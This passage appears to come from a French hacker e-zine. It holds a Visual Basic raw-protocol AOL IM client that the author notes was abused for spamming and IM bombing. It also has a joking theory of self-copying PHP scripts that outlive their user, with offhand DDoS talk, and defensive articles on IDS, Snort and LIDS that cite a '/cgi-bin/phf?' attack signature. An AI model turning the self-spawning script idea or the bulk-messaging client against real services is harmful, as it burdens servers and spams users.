AdaDoAtomCallbacks AdaEnumAllAtoms AdaFreeState AdaGetAtomByName AdaGetAtomName AdaGetErrorText AdaGetVersion AdaInitialize AdaIsValidProtocol AdaLookupAtomEnum AdaNormalizeAtomStream AdaTerminate Voici les fonctions qui se trouvent dans le fichier ‘ada.dll’ : ?ADAASSEMBLEATOMSTREAM@@ZAJAFVZSTRING@@AEVZBUFFER@@I@Z ?ADADISASSEMBLEATOMSTREAM@@ZAHAFVZBUFFER@@AEVZSTRING@@I@Z ?ADADOATOMCALLBACKS@@ZAHP7AHKGGPFEG@ZKAFVZBUFFER@@I@Z ___EXPORTEDSTUB _ADAASSEMBLEARGUMENT _ADAASSEMBLEATOMSTREAM _ADAASSEMBLEFRAGMENT _ADADISASSEMBLEARGUMENT _ADADISASSEMBLEATOM _ADADISASSEMBLEATOMSTATE _ADADISASSEMBLEATOMSTREAM _ADADISASSEMBLEATOMSTREAMSTATE _ADADOATOMCALLBACKS _ADAENUMALLATOMS _ADAFREESTATE _ADAGETATOMBYNAME _ADAGETATOMNAME _ADAGETERRORTEXT _ADAINITIALIZE _ADAISVALIDPROTOCOL _ADALOOKUPATOMENUM _ADANORMALIZEATOMSTREAM _ADATERMINATE ADA Atomic Disassembler/Assembler WEP 7) Vue d'ensemble ------------------ Le résultat des sujets abordés dans ce document, c'est un client AOL en Visual Basic capable d'envoyer des IM. Ce client utilise les fonctions expliquées plus haut. 1) Démarrer un nouveau projet 2) Ajouter Microsoft Winsock Control au projet 3) Créer un controle sur le formulaire 4) Créer deux boutons de commande (Connect, Send IM) 5) Créer cinq boites texte(Status, Screenname, Password, IMName, IMMsg) Dans 'Declarations' déposer ceci : Dim sixth as String Dim seventh as String Dim packet as String Dans le bouton 'Connect' déposer ceci : Call Winsock1.Connect("AmericaOnline.aol.com", 5190) 'Ouvrir une connexion vers 'le serveur AOL Dans les évenement de 'Connect' du Winsock control, déposer ceci : status.Text = status.Text & "Connected" & vbCrLf packet$ = DeHex("5A413800347F7FA3036B0100F5000000050F00002152CBCA070A1000080400000000035F0 000010004000300080000000000000000000000020D") Winsock1.SendData packet$ ' Envoyer la version du paquet NE RIEN MODIFIER Dans les évenement des 'DataArrival' du Winsock control, déposer ceci: Winsock1.GetData sData, vbString 'Dépose les données envoyées dans 'sData' If Len(sData) = 9 Then ping6$ = Mid(sData, 6, 1) ping7$ = Mid(sData, 7, 1) packet$ = DeHex("0003" & EnHex(ping7$) & EnHex(ping6$) & "A40D") crc1 = AOLCRC(packet$, Len(packet$) - 1) thehi$ = Chr(gethibyte(crc1)) thelo$ = Chr(getlobyte(crc1)) tosend$= DeHex("5A" & EnHex(thehi$) & EnHex(thelo$) & "0003" & EnHex(ping7$) & EnHex(ping6$) & "A40D") Winsock1.SendData tosend$ End If Dim crap as Integer crap = 1 Do Until crap = 0 crap = InStr(1, sData, Chr$(0)) If crap > 0 Then Mid(sData, crap, 1) = "Å" Loop status.Text = status.Text & "Server: " & sData & vbCrLf & vbCrLf If InStr(1, sData, "Invalid password") Then status.Text = status.Text & "Invalid Password" & vbCrLf Call Winsock1.Close End If If InStr(1, sData, "Invalid account") Then status.Text = status.Text & "Invalid account" & vbCrLf Call Winsock1.Close End If If InStr(1, sData, "SD") Then screenname1$ = Int2Hex(Len(screenname.Text) + 1) & EnHex(screenname.Text) password1$ = Int2Hex(Len(password.Text)) & EnHex(password.Text) fifth$ = give5th("5AD69400411010A044640015000100010A0400000001010B04000000010301" & screenname1$ & "20011D00011D00010A04000000020301" & password1$ & "011D000002000D", 2) packet$ = DeHex("00" & fifth$ & "1010A044640015000100010A0400000001010B04000000010301" & screenname1$ & "20011D00011D00010A04000000020301" & password1$ & "011D000002000D") crc1 = AOLCRC(packet$, Len(packet$) - 1) thehi$ = Chr(gethibyte(crc1)) thelo$ = Chr(getlobyte(crc1)) packet$ = DeHex("5A" & EnHex(thehi$) & EnHex(thelo$) & "00" & fifth$ & "1010A044640015000100010A0400000001010B04000000010301" & screenname1$ & "20011D00011D00010A04000000020301" & password1$ & "011D000002000D") Winsock1.SendData packet$ 'Sends the screenname/password. If you don’t 'understand this refer above to 'Forming Packets' packet$ = DeHex("5A3A0A00031018A40D") 'This is a logged ping packet Winsock1.SendData packet$ End If If InStr(1, sData, "Master Tool") Then packet$ = DeHex("5A3A0A00031018A40D5AC6910008111CA079610701010D5A5C340022121CA0746C0017000 1000A0F04007BB5E80A10041DA6DDF20A4504000000070002000D5A6F4A000D131CA053430015000 1000002000D") Winsock1.SendData packet$ 'This sends the ya login packet, 'NO CHANGES HAVE BEEN MADE sixth=Hex2Int("13") seventh=Hex2Int("21") 'This is where you set your sixth and seventh at first. End If Dans le bouton de commande 'Send IM' déposer ceci : screenname1$ = Int2Hex(Len(IMName.Text)) & EnHex(IMName.Text) IM1$ = Int2Hex(Len(IMMsg.Text)) & EnHex(IMMsg.Text) If sixth = "127" Then sixth = "15" 'Backtrack 1 because we are going to add 1 soon seventh = "23" 'THIS IS THE CODE TO RESET THE BYTES End If sixth = CInt(sixth) + 1 seventh = CInt(seventh) + 1 fifth$ = give5th("5A606700001522A06953002500010001070400000003010A04000000010301" & screenname1$ & "011D00010A04000000020301" & IM1$ & "011D00011D00011D000002000D", 2) packet$ = DeHex("00" & fifth$ & Int2Hex(sixth) & Int2Hex(seventh) & "A06953002500010001070400000003010A04000000010301" & screenname1$ & "011D00010A04000000020301" & IM1$ & "011D00011D00011D000002000D") crc1 = AOLCRC(packet$, Len(packet$) - 1) thehi$ = Chr(gethibyte(crc1)) thelo$ = Chr(getlobyte(crc1)) packet$ = DeHex("5A" & EnHex(thehi$) & EnHex(thelo$) & "00" & fifth$ & Int2Hex(sixth) & Int2Hex(seventh) & "A06953002500010001070400000003010A04000000010301" & screenname1$ & "011D00010A04000000020301" & IM1$ & "011D00011D00011D000002000D") Winsock1.SendData packet$ IMMsg.Text="" Dans l'évenement 'SendComplete' du Winsock control déposer ceci : Dim crap as Integer crap = 1 Do Until crap = 0 crap = InStr(1, packet$, Chr$(0)) If crap > 0 Then Mid(packet$, crap, 1) = "Å" Loop status.Text = status.Text & "Client: " & packet$ & vbCrLf & vbCrLf Dans l'évenement 'Change' du status de la boite texte, déposer ceci : status.SelStart = Len(status.Text) 'Auto Scrolls If Len(status.Text) >= 32000 Then status.Text = Right$(status.Text, Len(status.Text) / 2) 'Keeps the length from getting too large Il faut s'assurer que status.Text est défini en multiline=true et qu'il possede bien des barres de scroll. Si tout a été fait correctement, on a maintenant une version fonctionnelle d'un client AOL capable d'envoyer des IM. Bienvenue a Winsuck AOL 8) Sens Commun -------------- La seule raison pour laquelle ce document n'a pas été diffusé plus tot (sa traduction remonte a 1999) est l'abus que certaines personnes et sociétés font avec de tels outils : programmes de spammming, IM bombers, cloners, etc En attendant il plus difficile d'utiliser les sources de ce document que de se procurer les programmes en question (tout ca a cause du word wrap a 80chars ;-), la nouvelle version du protocole AOL y est d'ailleurs pour beaucoup car elle rend la totalité de ce document obsolete, have phun ;-)) tobozo@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ ___________________ _ -*3*- `^°*;:,.> Castor Récursif <.,:;*°^` _____________________________/¯¯¯¯¯¯ Gard ¯¯¯¯¯¯¯\______________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, /------------------------------------------------------\ | La récursivité et l'appel séquentiel des scripts PHP | | ---------------------------------------------------- | | un délire schizophrénisant proposé par GarD - 16/8/1 | \------------------------------------------------------/ Avertissement formel: Cet article est un ensemble de conjectures aboutissant à une théorie, il ne faut donc pas s'attarder à l'aspect illogique de certains points car la théorie finale est en elle même un paradoxe et constitue d'ailleurs le seul but dudit article, concentrez vous seulement à comprendre où on veut en venir et ensuite vous en ferez ce que vous voudrez (des confettis probablement, ou pour les plus cinglés d'entre vous tenterez de la mettre en pratique ou de la déformer en soufflant dans la valve pour en faire un castor héliumisé). Tout est parti de la rupture thermo-nucléaire d'une veine cérébrale, d'une idée rebondissant dans tous les sens, et de cet échange verbal digitalisé: GarD wrote: "j'ai comme un truc au bout de la langue qui va surement sortir en cours de route, j'ai l'impression qu'il y a quelque chose d'interessant a faire ca va surement m'sauter dessus d'taleur - ah je tourne autour et jarrive pas a savoir ce que me susurre mon subconscient, en gros ca tourne autour de ca: Que se passerait t'il si un script php se faisait un fsockopen pr se connecter a lui meme et sexecuter avec des argues en postvar '#!! t'as une idée? - Le paradoxe tient essentiellement ds le fait que ce ne serait plus toi qui executerait le script ms le script qui sexecuterait lui meme, ms l'appel de fsockopen se ferait ds lexecution du script que TU fais, donc tu serais un utilisateur par procuration C assez bizarre comme concept" tobozo wrote: "nobody -> open port xxxx -> script died unexpectedly tu peux faire un DDOS par contre et faker des paquets avec une double ouverture subterfugieuse, il te suffit de calculer la difference de temps a u niveau du client .. entre 10 frames ca doit etre bon et tu peux ensuiter lancer une campagne numerique de vachement grande envergure pendant qu'a vera cruz ils vendent de la moutarde aux herbes mal sechees moi je vais aller bouffer miam miam miam" Les discussions absurdes du 15 aout au soir... Seulement... Seulement voilà. Un script qui s'appelle lui même et un utilisateur par procuration, que ce soit possible ou non le concept est assez intéressant de par le fait que la théorie en éveille d'autres. CONJECTURES 1) Première conjecture: Imaginez d'abord un script qui s'appelle lui même, un script qui exécuterait un script en quelque sorte, alors l'exécution du second script (qu'il soit lui meme ou non) est inhérente à la fonction fsockopen qui mourra en même temps que le premier script décimé par le timeout d'exécution. Aussi nous sommes en présence d'un second script qui bien que n'étant pas exécuté par l'utilisateur lui même est dépendant de celui-ci (et si vous fermez votre browser tout s'arrete). Fin de conjecture. 2) Seconde conjecture: Imaginez désormais un script php qui créerait un fichier, se copierait dedans, et exécuterait le script créé qui lui même créerait un nouveau fichier se créerait dedans et l'exécuterait et caetera et caetera; une fois écarté le tourbillon mental de la récursivité dans les exécutions subalternes et les copies d'entités destinées à l'exécution nous serons en présence d'une chaine d'exécution de scripts dépendante du simple timeout d'exécution du premier maillon de la chaine. Fin de conjecture. 3) Troisième conjecture: Dans un tel shéma nous sommes donc en présence, à un bout éloigné d'une chaine d'exécution, d'un script (d'execution sub^n) dépendant des couches supérieures mais à y regarder de plus près il dépend prioritairement du script qui est derrière lui et qui l'a initié via fsockopen, script qui lui même est exécuté de la même manière. Alors en observant cette portion de la chaîne nous constatons des scripts php qui ne sont apparemment pas d'une exécution dépendante à une action de l'utilisateur. Le paradoxe prend toute son ampleur ici. Car imaginez désormais ce qu'il se passerait à l'instant précis où le premier maillon de la chaine (le script que vous exécutez) mourra de timeout cancérigène; en toute logique le lien fsockopen vers le deuxième maillon sera brisé et l'exécution du deuxième maillon se terminera puis le lien fsockopen vers le troisieme maillon se brisera et le troisieme maillon se cassera etc. Mais imaginez qu'il y ait 200 (ou 200000) maillons et imaginez que la mort séquentielle de chaque maillon ne soit pas "absolument" instantanée, alors... Alors nous serions en présence, pendant un temps x, d'un script, le dernier de la chaine, qui s'executerait sous la tutelle du maillon inférieur qui l'a initié, alors que le script que VOUS avez exécuté est DEJA terminé. Un script PHP qui continuerait a s'executer sans la présence de l'utilisateur. Fin de conjecture. 4) Quatrième conjecture: Reprenons les fondements de la troisième conjecture et développons. Imaginez que le temps de décallage entre la mort du premier maillon et celle du dernier maillon soit quantifiable, et qu'il existe un moyen paliatif à ce délai. Pour cela prenons l'hypothèse d'un script qui au lieu de créer et d'exécuter un nouveau script en créerait 10 et que chacun d'entre eux en créerait 10 autres (histoire de donner dans la logarythmique), nous serions en présence d'un nombre plus conséquent de maillons de chaine à détruire et un délai de destruction x allongé. Prenons désormais l'hypothèse d'une équation possible entre le nombre y de scripts créés et le temps de création de nouveaux scripts à un Temps donné (la mort du premier maillon) qui deviendrait inférieur au temps de destruction des maillons, nous serions en présence d'une exécution infinie de scripts en dehors de la présence de l'utilisateur et donc la conclusion fondamentale de la théorie fracassisante (crénom d'un ours blanc): THEORIE CONCLUSIONNANTE Un script php pourrait s'exécuter sans utilisateur. Paf. La théorie intéressant déjà plusieurs personnes avant même qu'elle soit écrite il est possible (possible disais-je, non plausible) que vous ayez un ou plusieurs développements lors de numéros ultérieurs de ce zagamine electrique. D'ici là, détruisez vous bien le cerveau, Bonsoir. placard... quart d'heure heureux retour tournoi noyé yépresque squesélong longue vue vulnérable érable en sirop iro-shima ima-laya l'aya ca se fume noyé dans la colle écolière écornée corne de brume et de brouillard entre les feux arrière et les warning clignotant tantot ou tard tardivement vivement demain mains aux fesses supposée suppositoire fuite de gaz gaz hillarant larant fabian bian bian ach sehr gut goute moi ca sataniste istambul tamboula labas bataille rangée gérant rentable table à manger genant matforever@hotmail.com ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ _______________________ _ -*4*- `^°*;:,.> IDS/LIDS/NIDS/SNORT <.,:;*°^` _____________________________/¯¯¯¯¯¯¯¯ Hertz ¯¯¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Introduction à LIDS. hertz@securix.org 23-06-2000 Introduction à LIDS (Linux Intrusion Detection/Defense System). Présentation LIDS signifie en anglais "Linux Intrusion Detection/Defense System", en français cela pourrais donner : "Système Linux de détection et de protection contre l'intrusion. Ce document est en réfèrence du Howto sur Lids-0.8.1pre1. A l'heure actuelle, faute de moyens, seule les architectures i386 sont supportés. Le but du projet est de protèger les systèmes sous Linux contre des intrusions sous root par désactivation des appèles système au niveau même du kernel. Du fait que vous avez besoins d'administrer le système, LIDS peut être bien sur désactivé. La première partie est de protèger LIDS lui même contre des intrusion sous root. Ceci bien sur en admettant deux choses: -Le système est sain (pas de backdoors, ...) jusqu'à la première installation de LIDS. -Vous êtes la seule personne à avoir un accès sur la console de l'ordinateur (de sorte que vous pouvez passer des commandes au kernel à travers lilo, vous pouvez booter sur un noyau de sauvegarde ou vous pouvez booter sur une disquette). Protèger LIDS contre une intrusion sous root signifie: -Interdire les modules -Interdire l'accès à la "raw memory" (/dev/mem, /dev/kmem, /dev/kcore) -Interdire l'accès au "raw disk" (/dev/hdxx, /dev/sdxx) -Protèger les fichiers ayant pour rôle le démarage du système (lilo files, kernel image, daemons, rc scripts, modules) -Interdire "raw access" au ports I/O (/dev/port, ioperm and iopl syscalls) Ensuite, vous pouvez pensez à la détection d'intrusion. Pour cela LIDS fournit: -Journalise quasiment tous les refus d'accès. -Place des flags read-only et append-only sur les programmes ou journaux contre une intrusion sous root. -Cache votre propres détecteurs d'intrusion. Pour la protection de votre système, LIDS fournit: -Bloque contre toute modification vos tables de routage, ainsi que les règles du firewall. -Bloque les opérations de montage. -Protège les daemons contre les signaux. -N'importe quelle chose que vous pouvez interdire avec "linux capabilities bounding" Compilation de lidsadm Pour le compiler, allez dans le répertoire et tapez: make You can have lidsadm display the current lids status (capabilities/flags state). This is mainly for debugging purposes, as without this option and a correctly configured system2.1 nobody can know the current state of LIDS2.2. make VIEW=1 Installer lidsadm make install Vous devez aussi être sur que votre répertoire /etc se trouve sur votre partition racine (/) car LIDS à besoin de pouvoir lire /etc/lids.conf quand il n'y a que / de monté. Obtenir un mot de passe chiffre en RipeMD-160 vmlin1:~# lidsadm -P MAKE PASSWD enter password: Verifying enter password: RipeMD-160 encrypted password : 46a1492cc2d43652409abfdbb047e4ae099a62f3 Patcher un kernel cd /usr/src/linux-linversion patch -p1 < lidshome/lids-version-linversion.patch Configurer the kernel make sure you choose [*] Prompt for development and/or incomplete code/drivers6.1 and [*] Sysctl support6.2 for Linux Intrusion Detection System to appear. -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- IDS (Intrusion Detection Systems) hertz@securix.org 14-06-2000 Les systémes de détection d'intrusions. Brouillon de document, commentaires bienvenus. Présentation: Les systèmes de détection d'intrusions (IDS) sont des outils permettants de détecter des activitées suspectes. Il peuvent être mis en place sur une machine pour détecter les attaques effectués sur celle-ci (IDS locaux) et peuvent aussi être configurés pour détecter toutes les attaques effectués sur le réseau; dans ce dernier cas, l'on fera plutôt réfèrence à NIDS (Network Intrusion Detection Systems). L'approche la plus courament utilisé pour la détection d'intrusion est la recherche de signatures (un peu comme les anti-virus). Les systèmes de détection d'intrusion (IDS) Les IDS locaux, sont les systèmes qui ne vont détecter que les intrusions en local. Ce sont des logiciels que l'on installe sur tous les postes que l'on veux surveiller; contrairement au NIDS qui s'installent sur un poste puis surveillent la totalité du segement réseau auquel il appartient. Les IDS locaux et NIDS ont des avantages et des inconvenients chacuns, nous reviendrons plus tard sur ces différences. Il ne vont pas seulement analyser les connexions entrantes et sortantes, mais aussi les logs ainsi que les processus suspects. Il y a deux principaux types d'IDS locaux, les wrappers/firewalls et les agents. L'assemblage des deux est bien plus efficace qu'un NIDS. Wrapper/firewall Les wrapper/firewalls vont permettre l'analyse et la protection face au connexions entrantes et aussi sortantes. Le plus connu des wrapper est TCPWrapper: http://coast.cs.purdue.edu/pub/tools/unix Agents En addition, les agents devront analyser les accès et changement effectués sur les fichiers sensibles du system. Ils pourront par exemple analyser le contenu des fichiers de log pour détecter des messages suspects. Les outils qui fonctionnent de cette manière sont par exemple: - Logcheck --> http://www.psionic.com/abacus/logcheck/ - Swatch ----> ftp://ftp.stanford.edu/general/security-tools/swatch/ Les systèmes de détection d'instrusion réseau (NIDS). Les NIDS sont des détecteurs d'intrusion orientés réseau. C'est à dire qu'ils sont conçues pour détecter les activités suspectes se déroulant sur le réseau et non sur une seule machine. Architecture. Comment les NIDS font leurs détections. Il y a deux techniques principales: Détection d'activité anormale: L'approche la plus courante de la détection d'intrusion est la détection d'activité anormale grace aux statistiques. L'avantage de cette technique est qu'elle ne nécessite pas la connaissance de types d'attaques. Reconnaissance de signature: La plupart des outils commerciaux fonctionnent sous ce principe. En fait cela signifie que tout type d'attaque devant être détecté doit au préalable avoir sa signature ajoutée au system. Par exemple, le NIDS va en permanence rechercher des motifs telles que: "/cgi-bin/phf?" (ceci représente une requette sur une application CGI vulnérable). Les NIDS possèderont souvent une base de donnée de types d'attaque connues. Vous pouvez trouver des informations et récupèrer des fichiers de signatures sur http://www.whitehats.com Comment font-ils la comparaison des signatures avec le traffic entrant: Un NIDS capture les paquets circulants sur le réseau, puis appliques quelques techniques: -Protocol stack verification -Application protocol verification -Creating new loggable events Protocol stack verification: Un certain nombre d'attaques, tels que les "Ping- Of-Death", "TCP Stealth Scanning", effectuent des requettes IP, TCP, UDP, ICMP mal formés pour réaliser l'attaque. Une simple vérification sur chaque paquet permet de détecter de tels attaques. Application protocol verification: Les attaques sont aussi souvent effectués au niveau applicatif. "Winnuke" par exemple, ainsi que les attaques DNS. De ce fait les NIDS doivent comprendre certains protcoles de la couche applicative. Creating new loggable events: Un NIDS peut aussi être conçu pour rapatriller des logs (WinNT Event, UNIX syslog, SNMP TRAPS, etc.). Plus tard il pourra les réassembler/triller sur un machine dédiée. Placer le NIDS dans le réseau: Les NIDS sont plus efficaces en périphèrie du réseau, tel, qu'a côté d'un firewall, serveur d'accès distant, et sur le lien d'un réseau partenaire. Outils / Ressources: Vous pouvez consulter les sites suivants: -http://www.lids.org -->> Linux Intrusion Detection System. -http://www.snort.org -->> Snort is a lightweight network intrusion detection system. -http://www.whitehats.com -->> Base de donnée de règles pour Snort. -http://packetstorm.securify.com/UNIX/IDS/ -->> Archive de divers IDS / NIDS. -http://packetstorm.securify.com/papers/IDS/ -->> Documents sur les IDS (Anglais) -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- CONSTRUIRE UN SYSTEM SECURISE PAR LIDS Xie Huagang (/xhg@ncic.ac.cn,/ http://www.lids.org) Tue Apr 18 00:02:12 CST 2000. LIDS ( Linux Intrusion Detection System) est un patch du kernel de linux servant à augmenter ses capacités. Dans cet article, nous parlons de ce que lids est capable de faire et comment construire avec lui un système Linux sécurisé. Pourquoi LIDS. Avec l'augmentation de la popularité de Linux sur Internet, de plus en plus de bug de sécurité sont trouvés dans le système GNU/Linux. Vous pouvez entendre sur Internet que - Il y a des bugs dans Linux, qui rendront le système facilement attaquable par un hacker. Depuis que Linux est un art de la comunauté open source, les trous de sécurité peuvent être trouvés facilement et peuvent aussi être aussi vite corrigés. Mais quand un bug est publiquement connue, et que l'administrateur est trop fainéant pour corriger ce bug. Il est alors très facile de pénèter le système et parfois plus grave encore, il est possible d'obtenir un shell sous root. Maintenant vous pouvez vous demander quelle est la solution? Qu'est-ce qui ne va pas avec le système GNU/Linux. - superuser (root) peut abuser de ses droits Sous root, il peut faire absoluement ce qu'il veut. Il peut changer les fonctions propres au système. - De nombreux fichiers système peuvent être facilement changés. Il y a de nombreux fichiers importants, tel que /bin/login, dans ce système. Si le hacker entre dans ce système, il peut facilement changer ce programme pour qu'il puisse plus tard se reconnecter avec n'importe quel pseudo/mot de passe. Mais normalement ces même fichiers n'ont pas besoins d'être changés fréquement, sauf si vous faite un update du système. - Les Modules sont facilement utilisable pour s'interfacer au kernel. Le Modules sont un bon design pour le kernel de linux.Il le rendent plus flexible et modulaire. Mais une fois le module insèré dans le kernel, il devient une partie du kernel et peut faire ce que le kernel originel pouvait faire. De cette manière, du code néfaste peut être écrit et insèré dans le kernel à la manière des modules, le code peut même rediriger les appels système et fonctionner de la même manière qu'un virus. - Les processus ne sont pas protègés. Certains processus, tels que les daemon web, qui sont critiques pour le système ne sont pas protègés de manière stricte. De cette manière, ils sont vulnérable à l'attaque de crackers. Avec cette description, comment peut-on construire un système sécurisé? Nous devons premièrement avoir un kernel sécurisé et en suite construire construire une sécurité autour. C'est ce que LIDS fait. Le Fonctions de LIDS. "Linux Intrusion Detection System" est un patch qui augmente la sécurité du kernel de Linux. Quand il est en activite, l'accès à certains fichier, à chaque opération d'administration système/réseau, "raw device", "mem" et "I/O access" peuvent être rendus impossible, même pour root. Il utilise et augmente les capacité du système en placement ces fonctionnalités directement dans le kernel. En résumé, LIDS fournis Protection, Détection et Réponse aux intrusion dans le kernel de Linux. - Protection. LIDS peut protèger les fichiers importants de votre système, peu importe sur quel système de fichier ils se trouvent, personne ne pourra les modifier, même pas le root. LIDS peut aussi portèger les systèmes importants et les empècher de se faire tuer. LIDS peut prévenir contre des opérations de programmes non authorisé sur "RAW IO". Il peut aussi protèger le disque dur, en incluant une protection sur le MBR, etc. - Détection. Quand quelqu'un scan votre machine, LIDS peut le détecter et en informer l'administrateur. LIDS peut aussi détecter des activité annormales se déroulant sur le système. - Réponse. Quand quelqu'un viole les règles, LIDS tiens un journal détaillé en rapport avec cette violation. LIDS peut aussi envoyer un message par mail. Dans ce cas, LIDS peut aussi déconnecter l'utilisateur. Construire un système sécurisé par LIDS. Nous allons vous comment construire ce système, pas à pas. Télécharger le patch LIDS et le kernel correspondant. Vous pouvez télécharger le patch lids depuis http://www.lids.org et ftp://ftp.lids.org, vous pouvez aussi essayer les miroirs répartis mondialement sur http://www.lids.org/mirrors. Le nom du patch sera lids-x.xx-y.y.y.tar.gz, x.xx représente la version de lids et y.y.y représent la version du kernel. Vous devez absolument télécharger le kernel correspondant. Par exemple, si vous télécharger lids-0.9pre4-2.2.14.tar.gz, vous devrez télécharger les sources du kernel 2.2.14. Vous pouvez télécharger les sources du kernel sur ftp://ftp.linux.org 1. décompressez le code source du kernel. # cd linux_install_path # bzip2 -cd linux-2.2.14.tar.bz2 | tar -xvf - 2. décompressez le code source de LIDS.. # cd lids_install_path # tar -zxvf lids-0.9pre4-2.2.14.tar.gz Pacher LIDS sur le kernel de Linux Après avoir télécharger le code source du kernel et lids, décompressez les. Par exemple, si vous télécherger lids-0.9pre4-2.2.14.tar.gz et linux-2.2.14.tar.bz2, alors, 3. patcher lids sur le code source du kernel. # cd linux_install_path # patch -p0 </lids_install_path/lids-0.9pre4-2.2.14.patch # cd linux # make dep clean # make bzImage # make modules # make modules_install 4. copiez bzImage dans /boot/ et éditez /etc/lilo.conf 5 lancez /sbin/lilo pour installer le nouveau kernel. # /sbin/lilo Configurer le kernel linux Maintenant il est temp de configurer le kernel linux, mettez les options suivantes sur "on", [*] Prompt for development and/or incomplete code/drivers [*] Sysctl support 4. configurer le kernel linux # cd linux # make menuconfig ou make xconfig Initialiser le systme lids Maintenant, avant de rebooter, vous devez configurer lids pour opèrer vos besoins en sécurité. Vous pouvez définir les fichiers à protèger, les processus, etc. Dans le chapitre suivant, nous vous montrerons les détails de se sujet. Rebooter le système Après avoir configuré votre système, rebootez le. Quand lilo apparait, sélectionneez le kernel patché par lids. Après cela, vous entrerez dans le monde merveilleux de LIDS. Protèger le kernel. Après avoir rebooter, n'oubliez pas de protèger le kernle grace à lidsadm, vous pouvez placer cette commande à la dernière ligne de /etc/rc.local. # /sbin/lidsadm -I -- -CAP_SYS_RAWIO -CAP_NET_ADMIN Vous pouvez consulter LIDS HOWTO pour savoir ce que signifie chaques options de lidsadm. Online administration Après avoir protègé votre kernel, votre système est maintenant protègé par LIDS. Vous pouvez faire des tests dessus. Si vous souhaitez changer la configuration, vous pouvez changer votre niveau de sécurité en fournissant un mot de passe. # /sbin/lidsadm -S -- -LIDS Configurer LIDS Dans ce chapitre, nous vous montrerons comment configurer lids. Proteger vos fichiers. Premièrement, vous devez déterminer quels sont les fichiers à protèger. Dans la plupart des cas, vous pouvez protèger les fichiers binaires et de configuration tel que /usr/, /sbin/, /etc/, /var/log/. Deuxièmement, vous devez décider la manière pour protèger ces fichiers. LIDS fournis trois types de protection: - Fichiers en lecture seule. Les fichiers marqué en lecture seule, signifie que personne ne peut les changer. Nous pouvons penser que les fichiers suivants font partient de ce type. /etc/passwd, /bin/passwd, etc. USAGE: lidsadm -A -r filename_to_protect example, 1. Pour protèger l'ensemble des fichiers de /sbin/ en les mettant en lecture seule. # /sbin/lidsadm -A -r /sbin/ 2. Pour protèger le fichier /etc/passwd en lecture seule # /sbin/lidsadm -A -r /etc/passwd - Les fichiers en Ajout unique (append only). La plupart des fichiers qui doivent être en ajout unique sont les fichiers de journaux, tels que /var/log/message ,/var/log/secure. Ces fichiers peuvent uniquement être ouverts pour un ajout, et ne peuvent pas être modifiés du contenue précèdement ajouté, elle ne peuvent pas être supprimés non plus. USAGE: lidsadm -A -a filename_to_protect example, 1. Pour protèger les fichiers de journaux du système # /sbin/lidsadm -A -a /var/log/message # /sbin/lidsadm -A -a /var/log/secure 2. Pour portèger les fichiers de log httpd # /sbin/lidsadm -A -a /etc/httpd/logs/ # /sbin/lidsadm -A -a /var/log/httpd/ Voici un exemple provenant de LIDS HOWTO par Philippe Biond, lidsadm -Z lidsadm -A -r /boot lidsadm -A -r /vmlinuz lidsadm -A -r /lib lidsadm -A -r /root lidsadm -A -r /etc lidsadm -A -r /sbin lidsadm -A -r /usr/sbin lidsadm -A -r /bin lidsadm -A -r /usr/bin lidsadm -A -r /usr/lib lidsadm -A -a /var/log Proteger vos processus. LIDS peut protèger les processus qui ont pour père init(pid=1), pour cela, vous devez bloquer le kernel avec les options suivantes. # lidsadm -I -- +INIT_CHILDREN_LOCK Protèger avec les "capability". Les "Capabilities" sont comme des privilèges que vous pouvez donner à un process. Un process root a toutes les "capabilities". Mais il existe des "capabilities bonding set". Dans un kernel normal, quand vous retirez une "capability" d'un "bonding set", personne ne peux plus l'utiliser jusqu'au prochain redémarage. (Voir http://www.netcom.com/~spoon/lcap) LIDS modifie ce comportement pour vous permettre de les démarrer ou de les arrêter a tout moment. Un accès à /proc/sys/kernel/cap_bset est attrapé et lance une allerte de sécurité. lidadm fait tout le travail. Vous pouvez lister toures les capabilities en lançant lidsadm, et vous pouvez aussi voir le sens exacte de chaques capabilities. Nous vous en parllons ici de deux d'entre elles, CAP_SYS_RAWIO Avec cette "capability on", nous pouvons permettre l'accès à ioperm/iopl et /dev/port, permettre l'accès à /dev/mem et /dev/kmem et permettre l'accès à "raw block devices" (/dev/[sh]d??) Quand nous désactivons cette "capability", nous pouvons rendre touts les processus du system sans aucun droits sur la "raw device", tel que lilo. Mais certains processus peuvent avoir besoin de cette capacité pour pouvoir fonctionner, tel que XF86_SVGA. Dans ce cas, nous pouvons placer ce programme dans une liste d'execptions quand nous compilons le kernel. CAP_NET_ADMIN Cette "capability" à les fonctions suivantes, interface configuration administration of IP firewall, masquerading and accounting setting debug option on sockets modification of routing tables setting arbitrary process / process group ownership on sockets binding to any address for transparent proxying setting TOS (type of service) setting promiscuous mode clearing driver statistics multicasting read/write of device-specific registers Pour des raisons de sécurité, nous devons désactiver ceci pour interdire le changement de configuration réseau. Quand ceci est désactivé, les règles du firewall ne pouront être changés. Choisissez les "capability" et scellez le kernel, vous devez chosir quelles "capability" vous devez désactiver au moment de sceller le kernel. Voici un exemple. Vous pouvez placer ce script dans un script de rc/ (rc.local, /etc/init.d/lids, /etc/rc.d/init.d/lids, etc.) cela dépend de votre distribution et de la manière dont vous administrez le système. Cette commande est, par exemple: lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO -CAP_SYS_ADMIN \ -CAP_SYS_PTRACE -CAP_NET_ADMIN \ +LOCK_INIT_CHILDREN NDT: Consultez les infos sur 